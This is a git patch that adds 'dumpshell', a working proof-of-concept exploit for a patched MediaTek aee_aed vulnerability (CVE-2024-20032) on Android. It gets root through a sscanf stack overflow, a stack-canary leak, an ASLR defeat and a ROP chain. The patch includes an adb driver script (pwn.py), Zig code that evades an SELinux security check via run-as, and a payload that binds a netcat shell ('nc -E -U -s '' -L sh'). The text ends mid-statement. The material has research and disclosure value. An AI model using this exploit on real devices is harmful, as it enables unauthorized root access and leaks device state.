From a59659e6ae38a637245e37a5c07399bdadfec45c Mon Sep 17 00:00:00 2001 From: misomosi Date: Mon, 22 Jun 2026 11:43:22 -0400 Subject: [PATCH] Add dumpshell exploit to gists --- dumpshell/.gitignore | 41 + dumpshell/LICENSE | 21 + dumpshell/README.md | 198 +++ dumpshell/pwn.py | 109 ++ dumpshell/src/android.zig | 34 + dumpshell/src/logd.zig | 24 + dumpshell/src/main.zig | 418 ++++++ dumpshell/src/processd.zig | 100 ++ dumpshell/src/rttd.zig | 34 + dumpshell/tools/extractdb.py | 52 + dumpshell/tools/zipfile_patched.py | 2240 ++++++++++++++++++++++++++++ dumpshell/vuln/aee-commit | 1 + dumpshell/vuln/aee-config | 2 + dumpshell/vuln/aee_aed | Bin 0 -> 214312 bytes dumpshell/vuln/aee_aedv | Bin 0 -> 227996 bytes 15 files changed, 3274 insertions(+) create mode 100644 dumpshell/.gitignore create mode 100644 dumpshell/LICENSE create mode 100644 dumpshell/README.md create mode 100644 dumpshell/pwn.py create mode 100644 dumpshell/src/android.zig create mode 100644 dumpshell/src/logd.zig create mode 100644 dumpshell/src/main.zig create mode 100644 dumpshell/src/processd.zig create mode 100644 dumpshell/src/rttd.zig create mode 100644 dumpshell/tools/extractdb.py create mode 100644 dumpshell/tools/zipfile_patched.py create mode 100644 dumpshell/vuln/aee-commit create mode 100644 dumpshell/vuln/aee-config create mode 100644 dumpshell/vuln/aee_aed create mode 100644 dumpshell/vuln/aee_aedv diff --git a/dumpshell/.gitignore b/dumpshell/.gitignore new file mode 100644 index 0000000..a114326 --- /dev/null +++ b/dumpshell/.gitignore @@ -0,0 +1,41 @@ +# Prerequisites +*.d + +# Compiled Object files +*.slo +*.lo +*.o +*.obj + +# Precompiled Headers +*.gch +*.pch + +# Compiled Dynamic libraries +*.so +*.dylib +*.dll + +# Fortran module files +*.mod +*.smod + +# Compiled Static libraries +*.lai +*.la +*.a +*.lib + +# Executables +*.exe +*.out +*.app + +# Build directories +tmp/ +build/ +__pycache__/ + +# aee_aed database +CURRENT.dbg +CURRENT/ diff --git a/dumpshell/LICENSE b/dumpshell/LICENSE new file mode 100644 index 0000000..dd68910 --- /dev/null +++ b/dumpshell/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 tf2spi + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/dumpshell/README.md b/dumpshell/README.md new file mode 100644 index 0000000..68b37e3 --- /dev/null +++ b/dumpshell/README.md @@ -0,0 +1,198 @@ +# dumpshell + +``dumpshell`` is a proof-of-concept for an exploit allowing the shell user to spawn a shell with the ``crash_dump`` context as ``root``. + +## Requirements + +* Vulnerable ``aee_aed`` in ``vuln/`` installed on the device +* ``python`` +* ``zig`` (``0.12.0-dev.789+e6590fea1`` at the time of this writing) +* ``adb`` +* Debuggable APK made via ``gradle`` or ``Android Studio`` + +## Instructions + +If the vulnerable ``aee_aed`` cannot be installed in ``/system/system_ext/bin``, you'll have to go into the Zig code in ``src`` and change offsets and gadgets apropriately. Chances are, the only variable that needs to be changed is ``SYSTEM_GADGET`` in ``main.zig``. + +``` +const SYSTEM_GADGET = +``` + +Install a debuggable APK to the device so ``shell`` can replace its context with ``run-as``. +See [Bypassing dynamic_security_check](#bypassing-dynamic_security_check) for why this needs to be done. +```sh +# Use Android Studio or Gradle to make a basic debuggagle APK (com.foo.bar) +./gradlew assembleDebug + +# Installs package com.foo.bar +adb install com.foo.bar.apk +``` + +Run ``pwn.py`` with the name of the package which replaces the ``shell`` context. +```sh +./pwn.py com.foo.bar +``` + +The exploit should spawn a shell in a few seconds. +``` +# id +uid=0(root) gid=0(root) groups=0(root),1000(system),1001(radio),1007(log),1032(package_info),1045(debuggerd),3009(readproc) context=u:r:crash_dump:s0 +``` + +If ASLR in ``aee_aed`` introduces blacklisted characters into the payload (See [Sscanf Buffer Overflow](#sscanf-buffer-overflow) for what is blacklisted), you'll have to restart the device and try again. + +Similarly, if you try too many times in a row, ``aee_aed`` will stop servicing the duplicate exception when trying to dump itself. You also have to restart the device in this case. + +## Implications + +* The dumped state of the machine as well as any process (including ``init``) can be leaked via ``aee_dumpstate``. This state includes... + - ``/proc/pid/maps`` (This defeats ASLR!) + - ``/proc/pid/fd`` + - ``dmesg`` + - Much, much more... +* Most files in ``/system`` and ``/vendor`` not normally accessible to ``shell`` are now accessible, like... + - Kernel modules in ``/vendor/lib/modules`` + - Firmware configs and binaries in ``/vendor/firmware`` + - MTK-Specific binaries in ``/system/system_ext`` (like ``aee_dumpstate`` or ``mdlogger``) +* Some properties not normally writable to ``shell`` are now writable, like... + - ``persist.vendor.mtk.aee.explevel`` + - ``persiste.vendor.mtk.aee.mode`` + - etc... +* The attacker can use ``aee_dumpstate`` to make dumps in ``/data/local/tmp`` that are difficult to remove and inconvenience the user +* If the selinux policy of a device has a flaw, the root shell could allow further privilege escalations + +## Exploit overview + +This exploit chains multiple vulnerabilities together to gain code execution as ``aee_aed``. + +## Bypassing dynamic_security_check + +In order to bypass the dynamic security check preventing ``su`` and ``shell`` from accessing certain endpoints, including the vulnerable one we're trying to access, the program must use ``run-as`` to execute itself in a different selinux context. + +One quirk about this is that debuggable apps also don't have permissions to connect to the abstract UNIX sockets presented by ``aee_aed`` which ``shell`` has. However, this is also trivial to bypass because we can just open the file descriptors as ``shell`` and then have ``run-as`` inherit these file descriptors. + +There is also a check like this if the selinux mode is ``permissive`` + +```c +int enforcing = security_getenforce(); +if (!enforcing) { + if (!check_socket(peer, "/system") + && !check_socket(peer, "/system_ext") + && !check_socket(peer, "/apex") + && !check_socket(peer, "/vendor")) { + __android_log_print("client check failed!\n"); + } +} +``` + +However, this is a useless check if the mode is ``permissive`` because one could define a preload which overrides ``__libc_init`` and run the following. + +```sh +LD_PRELOAD="/data/local/tmp/libmypreload.so" /system/bin/sh +``` + +This theoretically means that, if the selinux mode is ``permissive``, it's possible to make an app that escalates privileges to ``root`` using ``aee_aed``. However, there are better and more general exploits like [Magica](https://github.com/vvb2060/Magica) for escalating privileges in a ``permissive`` mode. + +### Sscanf Buffer Overflow + +The most important vulnerability it takes advantage of is a buffer overflow present in ``aee_report_dump_cmd``, reachable from abstract socket ``com.mtk.aee.aed``. When the daemon requests information about the current executing process, it checks for a trigger time and then uses ``sscanf`` to parse it. However, the ``sscanf`` format string used combined with the size of the input allows for a very significant buffer overflow. + +```c +peer_cmd peerreq = { /* Fill in data struct here */ }; +peer_cmd peercmd; +char trigger_time[40]; +fop_safe_write_timeout(peersock, &peerreq, sizeof(peerreq)); +fop_safe_read_timeout(peersock, &peercmd, sizeof(peercmd)); +if (peercmd.len < 0x20000) { + peercmd.len = 0x20000; +} +char *input = malloc(peercmd.len); +safe_read_and_discard(peersock, input, peercmd.len); +if (strstr(input, "Trigger time:")) { + // Uh-oh! strlen(input) is much greater than sizeof(trigger_time) + sscanf(input,"Trigger time:[%[^]]]",trigger_time); +} +``` + +There are a couple of caveats to keep in mind. + +First, the ``sscanf`` format string blacklists the ``'\x00'`` and ``]`` characters, so if a malicious payload requires these, the attack is thwarted and the attacker must reboot the phone. + +Second, the binary is compiled with stack canaries and ASLR enabled. This means we need a primitive to leak the stack canary. A primitive to defeat ASLR would be a nice-to-have, but brute forcing ASLR is also computationally feasible. + +Luckily, we have primitives to defeat both! + +### Stack Canary Leak + +In ``rttd_handle_request``, reachable from abstract socket ``aee:rttd``, there is a mishandling of string functions that makes the program leak more bytes than it intended! + +```c +struct +{ + int dontcare; + int cmd; + int dontcare2[4]; + char message[84]; +} cmd; +fop_safe_read_timeout(fd, &cmd, sizeof(cmd)); +// cmd.message is not null-terminated! +switch (cmd.type) +{ +// MORE COMMANDS ABOVE +case RTT_AEE_CLEANDAL: + // Bytes after cmd.message are leaked! + __android_log_print("Got RTT_AEE_CLEANDAL: %s", cmd.message); + dal_ui_clean(); + break; +// MORE COMMANDS BELOW +} +``` + +Because ``cmd.message`` is not null-terminated, anything afterwards that's also not null-terminated are also leaked to logs. + +If the compiler decides to place ``cmd`` before the stack canary, writing a message that is not null-terminated will leak the stack canary to logs. + +Unfortunately, this is far from theoretical. In fact, it's quite common for the compiler to do so. See [Vulnerable Commit Hashes](#vulnerable-commit-hashes) for vulnerable versions. + +### Defeating ASLR + +Stack ASLR is trivially defeated by a log message. + +```c + void (*generator)(void); + aed_worker workers[WORKER_MAX]; + int worker_fd; + // Choose worker here... + // This defeats stack ASLR because workers is laid out on the stack! + // It's also very predictable because 'i' tends to be 0. + __android_log_print(3,"AEE_AED","%s: generator %p, worker %p, recv_fd %d", + "aed_main_fork_worker", generatorFn,&workers[i],worker_fd); + // Act on worker here... +``` + +Because stack ASLR is defeated and the stack canary is leaked, we can overwrite ``r4`` on ARM, which stores the address to restore the ``aed_report_dump`` object in ``dump_exp_info``. Then, when ``aed_report_dump_cmd`` is called again to specify the current module, we can then overwrite the temporary database path with the module name and then close the socket immediately! This will trick ``aee_aed`` into calling ``aee_dumpstate`` with a custom path, like ``/sdcard/db.malicious`` instead of ``/data/aee_exp/tmp/db.XXXXXXXX`` which was inaccessible to us! + +This defeats ASLR because, if we specify that we want to dump the state of ``aee_aed`` by providing its own pid, it will then happily do so. Part of this dump is a dump of ``/proc/pid/maps``, which leaks the base address of ``aee_aed`` mapped in memory, successfully defeating ASLR in ``aee_aed``. + +As a bonus, you get to leak a lot of other information as described in [Implications](#implications). + +Again, this would intuitively seem coincidental, but it's common for the compiler to put ``aed_report_dump`` in ``r4``. + +### Easiest ROP of my Life + +``aee_aed`` calls ``system`` with ``r6 + 0x38`` as the address of the ``/system/bin/sh`` command, so all that needs to be done is to write the system command to the stack, write its address to ``r6``, which we know because of the stack address leak, and then overwrite ``lr`` with the address of that gadget. + +## Vulnerable Commit Hashes + +The commit hashes given in ``/vendor/etc/aee-commit`` have been tested and are vulnerable to this exploit. +* a5a730e76f371a3f8b3ac40ef31aa3bdc6d67f5b + +I have looked at other versions of ``aee_aed`` and I have seen the same vulnerabilities present in +those as well, even the stack canary leak and worker log statement, as coincidental as that may be. +In general, it's better to assume that the version of ``aee_aed`` you have is vulnerable. + +## Fix + +MediaTek has assigned `CVE-2024-20032` to this vulnerability. + +`CVE-2024-20032` has already been fixed by MediaTek and was published as part of the [March 2024 MediaTek Security Bulletin](https://corp.mediatek.com/product-security-bulletin/March-2024). diff --git a/dumpshell/pwn.py b/dumpshell/pwn.py new file mode 100644 index 0000000..b64d87f --- /dev/null +++ b/dumpshell/pwn.py @@ -0,0 +1,109 @@ +#!/usr/bin/env python3 +import sys +import os +import time +import pathlib +import subprocess +import re +import shutil + +# Pwn the vulnerable binary in vuln extracted from a retail phone +TMP = 'tmp' +SRC = 'src' +TOOLS = 'tools' +EXTRACTDB = 'extractdb.py' +DBZIP = 'CURRENT.dbg' +DBUNPACK = 'CURRENT' +MAIN = 'main' + +# Certain banners to parse for variables +STABLE_BANNER = b'>>>>>>>>' +LEAKDB_BANNER_REGEX = STABLE_BANNER + b' DUMP SUCCESSFUL \\((.*)\\)' + +def zigbuild(cmddir): + mainzig = os.path.join(cmddir, SRC, 'main.zig') + outputbin = os.path.join(cmddir, TMP, MAIN) + try: + os.mkdir(os.path.join(cmddir, TMP)) + except FileExistsError: + pass + zigargs = ['zig', 'build-exe', mainzig, '-target', 'arm-linux-android', f'-femit-bin={outputbin}'] + subprocess.run(zigargs) + return outputbin + +def pushexploiter(localbin): + remotebin = f'/data/local/tmp/{MAIN}' + subprocess.run(['adb', 'push', localbin, remotebin]) + return remotebin + +def leakdb(remotebin, pkgname, worker): + proc = subprocess.run(['adb', 'shell', remotebin, pkgname, '0', str(worker)], capture_output=True) + matches = re.search(LEAKDB_BANNER_REGEX, proc.stderr) + return b'' if matches is None else matches.group(1) + +def pulldb(tmpdir, leaked): + RETRIES = 60 + print('Waiting for aee_dumpstate to complete its work... This should take about 10 seconds.') + for i in range(RETRIES): + # When pgrep fails to find aee_dumpstate, we know it has finished + try: + subprocess.run(['adb', 'shell', 'sh', '-c', 'ps -A | grep aee_dumpstate'], check=True) + time.sleep(1) + except subprocess.CalledProcessError: + break + if i == RETRIES: + raise RuntimeError('aee_dumpstate failed to complete after one minute!') + subprocess.run(['adb', 'pull', f'{leaked.decode()}/{DBZIP}', os.path.join(tmpdir, DBZIP)]) + subprocess.run(['adb', 'shell', 'rm', '-rf', leaked.decode()]) + +def extractdb(tmpdir, toolsdir): + print('Extracting database...') + shutil.rmtree(os.path.join(tmpdir, DBUNPACK), ignore_errors=True) + subprocess.run([os.path.join(toolsdir, EXTRACTDB), os.path.join(tmpdir, DBZIP), os.path.join(tmpdir, DBUNPACK)]) + print('Done!') + +def extractbase(unpacked): + with open(f'{unpacked}/PROCESS_MAPS') as fp: + baseaddr = fp.readline() + baseaddr = int(baseaddr[:baseaddr.find('-')], 16) + return baseaddr + +def getshell(remotebin, pkgname, base, worker): + subprocess.run(['adb', 'shell', remotebin, pkgname, str(base), str(worker)]) + subprocess.run(['adb', 'shell', 'rm', remotebin]) + print('----------------- STARTING SHELL NOW! -----------------------') + time.sleep(0.25) + print('# ', end='', flush=True) + subprocess.run(['adb', 'shell', 'nc', '-U', "''"]) + +def main(): + cmdname = sys.argv[0] + if len(sys.argv) < 2: + print(f'Usage: {cmdname} [WorkerNum]') + sys.exit(1) + worker = 0 if len(sys.argv) < 3 else int(sys.argv[2]) + pkgname = sys.argv[1] + cmddir = pathlib.Path(os.path.realpath(cmdname)).parent + tmpdir = os.path.join(cmddir, TMP) + toolsdir = os.path.join(cmddir, TOOLS) + os.chdir(cmddir) + outbin = zigbuild(cmddir) + remotebin = pushexploiter(outbin) + try: + db = leakdb(remotebin, pkgname, worker) + if db != b'': + print('Database:', db.decode()) + pulldb(tmpdir, db) + else: + raise RuntimeError('Exploit was unable to create database on sdcard!') + except Exception as e: + print('Exception raised while leaking and extracting database!', file=sys.stderr) + print('Database is probably still on /sdcard/db.*', file=sys.stderr) + print('Don\'t forget to clean it up!', file=sys.stderr) + raise e + extractdb(tmpdir, toolsdir) + base = extractbase(os.path.join(tmpdir, DBUNPACK)) + getshell(remotebin, pkgname, base, worker) + +if __name__ == '__main__': + main() diff --git a/dumpshell/src/android.zig b/dumpshell/src/android.zig new file mode 100644 index 0000000..8eddf3b --- /dev/null +++ b/dumpshell/src/android.zig @@ -0,0 +1,34 @@ +const std = @import("std"); +const os = std.os; +const linux = os.linux; +const AF = linux.AF; +const SOCK = linux.SOCK; +const Stream = std.net.Stream; + +/// Connect to both abstract and filesystem sockets on Android +/// which os.connectUnixSocket unfortunately fails to do. +/// +/// Android also flips between using dgram and stream sockets +/// so be flexible and do either one. +pub fn connectUnixSocket(path: []const u8, socktype: u32) !Stream { + var sock = try os.socket(AF.UNIX, socktype, 0); + errdefer os.closeSocket(sock); + const un = try std.net.Address.initUnix(path); + var size = @as(os.socklen_t, @offsetOf(os.sockaddr.un, "path") + path.len); + if (size > @offsetOf(os.sockaddr.un, "path") and path[0] != 0) size += 1; + _ = try os.connect(sock, &un.any, size); + return .{ .handle = sock }; +} + +/// Convenience functions for creating stream, dgram, and seqpacket sockets. +/// Yes, Android will actually use both dgram and seqpacket sockets +/// because Google hates everyone, especially me. +pub fn connectUnixSocketStream(path: []const u8) !Stream { + return connectUnixSocket(path, SOCK.STREAM); +} +pub fn connectUnixSocketDgram(path: []const u8) !Stream { + return connectUnixSocket(path, SOCK.DGRAM); +} +pub fn connectUnixSocketSeqpacket(path: []const u8) !Stream { + return connectUnixSocket(path, SOCK.SEQPACKET); +} diff --git a/dumpshell/src/logd.zig b/dumpshell/src/logd.zig new file mode 100644 index 0000000..9cd9140 --- /dev/null +++ b/dumpshell/src/logd.zig @@ -0,0 +1,24 @@ +const std = @import("std"); +const os = std.os; +const print = std.debug.print; +const android = @import("android.zig"); + +pub const LOGGER_ENTRY_MAX_LEN: usize = @as(usize, 5 * 1024); +pub const rsockname = "/dev/socket/logdr"; + +/// Code to interact with logd on the device +pub const LogClient = struct { + stream: std.net.Stream, + + pub fn init(stream: std.net.Stream) LogClient { + return .{ + .stream = stream, + }; + } + pub fn read(self: LogClient, message: []u8) !usize { + return self.stream.read(message); + } + pub fn close(self: LogClient) void { + self.stream.close(); + } +}; diff --git a/dumpshell/src/main.zig b/dumpshell/src/main.zig new file mode 100644 index 0000000..464b0f5 --- /dev/null +++ b/dumpshell/src/main.zig @@ -0,0 +1,418 @@ +const std = @import("std"); +const os = std.os; +const print = std.debug.print; +const Prng = std.rand.DefaultPrng; +const android = @import("android.zig"); +const rttd = @import("rttd.zig"); +const logd = @import("logd.zig"); +const processd = @import("processd.zig"); +const RTTClient = rttd.RTTClient; +const RTTPacket = rttd.RTTPacket; +const RTTCmd = rttd.RTTCmd; +const LogClient = logd.LogClient; +const ProcessClient = processd.ProcessClient; +const AedProcHeader = processd.AedProcHeader; +const AedProcCmd = processd.AedProcCmd; +const AedProcCmdType = processd.AedProcCmdType; +const AedProcExp = processd.AedProcExp; + +const PTR_SIZE = @sizeOf(usize); +const TRIGGER_CANARY_OFFSET = 0x10e8 - 0x3c; +const WORKER_CANARY_OFFSET = (0x120 - 0x5a0 - 0x7a3a0 - 0x50 - 0x3c); + +const REPORT_MODULE_OFFSET = 0xa0d4; +const REPORT_TMPDATABASE_OFFSET = 0x1000; +const WORKER_REPORT_OFFSET = (0x120 - 0x5a0 - 0x7a340); +const TRIGGER_TIME_PREFIX = "Trigger time:["; +const TRIGGER_TIME_SUFFIX = "]\x00"; + +// For system_ext aee_aed +const AEE_PROCESSD_SOCKNAME = "\x00com.mtk.aee.aed"; +const AEE_RTTD_SOCKNAME = "\x00aee:rttd"; +const AEE_COMM = "aee_aed\n"; +const SYSTEM_GADGET = (0x2fd6c - 0x10000) | 1; +const SYSTEM_CMD_OFFSET = 0x38; + +// For vendor aee_aedv +// Not that you have permissions to connect anyways... +// +// const AEE_PROCESSD_SOCKNAME = "\x00com.mtk.aee.aedv"; +// const AEE_RTTD_SOCKNAME = "\x00aee:vrttd"; +// const AEE_COMM = "aee_aedv\n"; +// const SYSTEM_GADGET = (0x280ca - 0x10000) | 1; +// const SYSTEM_CMD_OFFSET = 0x38; + +const DBPATH_MAX = 64; +const RTTD_FD = 3; +const LOGD_FD = 4; +const PROCESSD_FD = 5; + +// Print statements with this banner at the beginning have a stable CLI output +// All other print statements are for debugging +const STABLE_BANNER = ">>>>>>>>"; + +const FrameSave32 = struct { + canary: u32 = 0xffffffff, + d0l: u32 = 0xffffffff, + d0h: u32 = 0xffffffff, + d1l: u32 = 0xffffffff, + d1h: u32 = 0xffffffff, + __pad: u32 = 0xffffffff, + r4: u32 = 0xffffffff, + r5: u32 = 0xffffffff, + r6: u32 = 0xffffffff, + r7: u32 = 0xffffffff, + r8: u32 = 0xffffffff, + r9: u32 = 0xffffffff, + r10: u32 = 0xffffffff, + r11: u32 = 0xffffffff, + lr: u32 = 0xffffffff, +}; + +const ExploitParams = struct { + canary: usize = 0, + worker: usize = 0, + base: usize = 0, + dbnum: u32 = 0, + pid: i32 = 0, + __workeridx: u8 = 0, +}; + +// Start the exploit using processd to dump pid and tid if desired +// After this, pwn can be called immediately after to send the payload +fn handshake(client: *ProcessClient, pid: i32, tid: i32) !void { + // seq and len fields reused for pid and tid respectively + var hdr: AedProcHeader = .{ + .cmdtype = @intFromEnum(AedProcCmdType.ind), + .cmd = @intFromEnum(AedProcCmd.ind_fatal), + .seq = @bitCast(pid), + .exp = @intFromEnum(AedProcExp.undef), + .len = @bitCast(tid), + }; + + // Write the initial header to give pid and tid + _ = try client.write(&hdr, &.{}); + + // The exception type is not important so give a generic exception + _ = try client.read(&hdr, &.{}); + const exception = "FATAL\x00"; + hdr.len = exception.len; + _ = try client.write(&hdr, exception); +} + +pub fn parameter_parse(paramstr: []const u8) !ExploitParams { + var params: ExploitParams = .{}; + var iterator = std.mem.split(u8, paramstr, ","); + while (iterator.next()) |p| { + const base = "base="; + const pid = "pid="; + const dbnum = "dbnum="; + const workeridx = "workeridx="; + if (std.mem.startsWith(u8, p, base)) { + params.base = try std.fmt.parseInt(usize, p[base.len..], 0); + } else if (std.mem.startsWith(u8, p, pid)) { + params.pid = try std.fmt.parseInt(i32, p[pid.len..], 0); + } else if (std.mem.startsWith(u8, p, dbnum)) { + params.dbnum = try std.fmt.parseInt(u32, p[dbnum.len..], 0); + } else if (std.mem.startsWith(u8, p, workeridx)) { + params.__workeridx = try std.fmt.parseInt(u8, p[workeridx.len..], 0); + } + } + return params; +} + +fn parameter_leak(params: *ExploitParams, client: *LogClient) !void { + while (true) { + const rttd_needle = "Got RTT_AEE_CLEANDAL: "; + const worker_needle = ", worker "; + var data: [logd.LOGGER_ENTRY_MAX_LEN]u8 = undefined; + var log = data[0..try client.read(&data)]; + if (log.len == 0) break; + var needle = std.mem.lastIndexOf(u8, log, rttd_needle); + if (needle != null) { + var canary_slice = log[needle.? + rttd_needle.len ..]; + const lookahead = @sizeOf(@TypeOf(@as(RTTPacket, undefined).data)); + if (canary_slice.len >= lookahead + PTR_SIZE) { + params.canary = std.mem.bytesToValue(usize, canary_slice[lookahead .. lookahead + PTR_SIZE]); + } + } + needle = std.mem.lastIndexOf(u8, log, worker_needle); + if (needle != null) { + var worker_slice = log[needle.? + worker_needle.len .. std.mem.lastIndexOf(u8, log, ",").?]; + var tmpworker = std.fmt.parseInt(usize, worker_slice, 0) catch 0; + if (tmpworker != 0) params.worker = tmpworker - 0xc * params.__workeridx; + } + } +} + +pub fn trigger(client: *ProcessClient, payload: []u8) !void { + for (payload) |b| { + if (b == ']' or b == '\x00') { + print("Payload contains blacklisted char ({})! Throwing error!\n", .{b}); + return error.InvalidValue; + } + } + var hdr: AedProcHeader = .{ + .cmdtype = 0, + .cmd = 0, + .seq = 0, + .exp = 0, + }; + _ = try client.read(&hdr, &.{}); + hdr.len = TRIGGER_TIME_PREFIX.len + payload.len + TRIGGER_TIME_SUFFIX.len; + var iovecs: [3]std.os.iovec_const = .{ + .{ + .iov_base = TRIGGER_TIME_PREFIX, + .iov_len = TRIGGER_TIME_PREFIX.len, + }, + .{ + .iov_base = @ptrCast(payload), + .iov_len = payload.len, + }, + .{ + .iov_base = TRIGGER_TIME_SUFFIX, + .iov_len = TRIGGER_TIME_SUFFIX.len, + }, + }; + try client.writev(&hdr, &iovecs); +} + +// Use /sdcard instead of /data/local/tmp because we want +// the option of deleting the file the root user makes, +// as I learned the hard way... +pub fn mkdbpath(uniq: u32, dbpath: *[DBPATH_MAX]u8) ![]u8 { + return std.fmt.bufPrint(dbpath, "/sdcard/db.{}\x00", .{uniq}); +} + +pub fn main() !void { + // Get current attribute because shell is not allowed to communicate with process worker + var is_shell = false; + { + var data: [256]u8 = undefined; + var attrfp = try std.fs.openFileAbsolute("/proc/self/attr/current", .{}); + defer attrfp.close(); + var len = try attrfp.readAll(&data); + var attr = data[0..len]; + is_shell = std.mem.startsWith(u8, attr, "u:r:shell:s0"); + } + + // If we are the shell user, open the sockets then masquerade as another app to bypass security check + if (is_shell) { + var args = std.process.args(); + if (args.inner.count < 3) { + print("Usage: {s} [WorkerNum]\nMasquerade as another package to overcome dynamic_security_check\n", .{args.next().?}); + print("Do ROP when base != 0 or leak database when base == 0\n", .{}); + print("If WorkerNum is specified, use this number instead of 0\n", .{}); + std.os.exit(1); + return; + } + + // Get the pid of aee_aed + var pid: i32 = -1; + var procdir = try std.fs.openIterableDirAbsolute("/proc", .{}); + var prociter = procdir.iterate(); + while (try prociter.next()) |pidname| { + var tmppid = std.fmt.parseInt(i32, pidname.name, 0) catch -1; + if (tmppid > 0) { + var commbuf: [64]u8 = undefined; + var commname = try std.fmt.bufPrint(&commbuf, "/proc/{}/comm", .{tmppid}); + if (std.fs.openFileAbsolute(commname, .{})) |commfile| { + var commvalue = commbuf[0..try commfile.readAll(&commbuf)]; + commfile.close(); + if (std.mem.startsWith(u8, commvalue, "aee_aed\n")) { + pid = tmppid; + print("{s} FOUND AEE_AED ({})\n", .{ STABLE_BANNER, pid }); + break; + } + } else |_| { + // Sometimes, PermissionDenied will come up so just ignore that... + continue; + } + } + } + procdir.close(); + if (pid == -1) { + print("Was unable to find the pid of aee_aed!\n", .{}); + std.os.exit(1); + } + + // Execute this program again but use run-as to change the + // SELinux context and bypass the dynamic_security_check + var myname = args.next().?; + var pkgname = args.next().?; + var base = try std.fmt.parseInt(usize, args.next().?, 0); + var workeridx = try std.fmt.parseInt(u8, args.next() orelse "0", 0); + var prng = Prng.init(@bitCast(std.time.microTimestamp())); + var rnd = prng.random(); + var myname_buf: [4096]u8 = undefined; + var fauxname_buf: [32]u8 = undefined; + var fauxname = try std.fmt.bufPrint(&fauxname_buf, "./killer{}", .{rnd.int(u32)}); + var data: [4096]u8 = undefined; + + // Only if we're leaking the database do we need to make a database beforehand + var dbnum = rnd.int(u32); + if (base == 0) { + var dump_path_buf: [DBPATH_MAX]u8 = undefined; + var dump_path = try mkdbpath(dbnum, &dump_path_buf); + _ = try std.fs.makeDirAbsoluteZ(@ptrCast(dump_path)); + } + + // Format the command for 'sh -c' invocation + const cmdline = @as([*:0]const u8, @ptrCast(try std.fmt.bufPrint(&data, "cp '{s}' '{s}' && '{s}' 'workeridx={},base={},pid={},dbnum={}' ; rm -f '{s}'\x00", .{ + try std.os.realpath(myname, &myname_buf), + fauxname, + fauxname, + workeridx, + base, + pid, + dbnum, + fauxname, + }))); + + // Use run-as with 'sh -c' to bypass security check + const runas = @as([*:0]const u8, @ptrCast("/system/bin/run-as\x00")); + var childargs_array = [_]?[*:0]const u8{ + runas, + @as([*:0]const u8, @ptrCast(pkgname)), + "sh", + "-c", + cmdline, + null, + }; + var childenv_array = [_]?[*:0]const u8{ + null, + }; + var childargs = @as([*:null]?[*:0]const u8, @ptrCast(&childargs_array)); + var childenv = @as([*:null]?[*:0]const u8, @ptrCast(&childenv_array)); + + // Open and leak streams so that child can have them on the following exec + var stream = try android.connectUnixSocketStream(AEE_RTTD_SOCKNAME); + if (stream.handle != RTTD_FD) _ = std.os.linux.dup2(stream.handle, RTTD_FD); + stream = try android.connectUnixSocketSeqpacket(logd.rsockname); + _ = try stream.writeAll("dumpAndClose lids=0"); + if (stream.handle != LOGD_FD) _ = std.os.linux.dup2(stream.handle, LOGD_FD); + stream = try android.connectUnixSocketStream(AEE_PROCESSD_SOCKNAME); + if (stream.handle != PROCESSD_FD) _ = std.os.linux.dup2(stream.handle, PROCESSD_FD); + return std.os.execveZ(runas, childargs, childenv); + } + + // Initialize the sockets in the same order as they were before the execve + var args = std.process.args(); + _ = args.skip(); + var params = try parameter_parse(args.next().?); + var rtt_client = RTTClient.init(.{ .handle = RTTD_FD }); + var log_client = LogClient.init(.{ .handle = LOGD_FD }); + var process_client = ProcessClient.init(.{ .handle = PROCESSD_FD }); + + // Use RTT CLEANDLAL to leak the stack canary and address + // The application hangs for a few seconds when I close this + // without iteracting with it, so just leak the thing anyways. + var pkt: RTTPacket = .{ + .cmd = @intFromEnum(RTTCmd.clean_dal), + .pid = 0, + }; + @memset(&pkt.data, '>'); + _ = try rtt_client.write(&pkt); + rtt_client.close(); + + // Start the handshake of the first client to leak the worker + // If we're dumping the database, use the pid provided, else + // use our current pid for convenience in testing. + if (params.base != 0) params.pid = std.os.linux.getpid(); + try handshake(&process_client, params.pid, params.pid); + + // Read leaked worker and stack canary addresses from logs if not provided as arguments + try parameter_leak(¶ms, &log_client); + + // Check if worker and canary are both leaked + if (params.canary == 0 or params.worker == 0) { + print("Was unable to find either the stack canary or the generator address! Quitting early!\n[ CANARY : {x} , WORKER : {x} ]\n", .{ params.canary, params.worker }); + std.os.exit(1); + } + print("canary={x},worker={x},base={x}\n", .{ params.canary, params.worker, params.base }); + log_client.close(); + + // ROP your way to victory with a guessed ASLR offset + if (params.base != 0) { + print("ROP your way to victory!!!!\n", .{}); + var payload: [TRIGGER_CANARY_OFFSET + @sizeOf(FrameSave32)]u8 = undefined; + + // Write system command to memory + // There's several limitations to the commands you can execute + // * /data/aee_exp is the only location found so far that is read and write accessible + // * Permission to write new binaries in /data/aee_exp and execute them is denied + // * Permission to bind to a UNIX socket on /adata/aee_exp is denied + // * Permission to bind to an abstract UNIX socket is obviously granted because that's what we communicate on + // * Permission to execute toybox binaries (like netcat) are granted + // + // netcat wasn't made with abstract UNIX sockets in mind, but you can still bind one by + // binding to the empty address like we do here. Similarly, netcat will connect to this + // same address, so just run this command to take advtanage of the reverse shell + // + // nc -U '' + var fluff: usize = SYSTEM_CMD_OFFSET * 2; + @memset(payload[0..fluff], ' '); + var cmdslice = try std.fmt.bufPrint(payload[fluff..], " nc -E -U -s '' -L sh \n", .{}); + @memset(payload[cmdslice.len + fluff .. TRIGGER_CANARY_OFFSET], ';'); + + // Write canary and variables + // r6 = address to system command + // lr = Gadget pointing to a call to system from libc in our binary which uses r6 + var 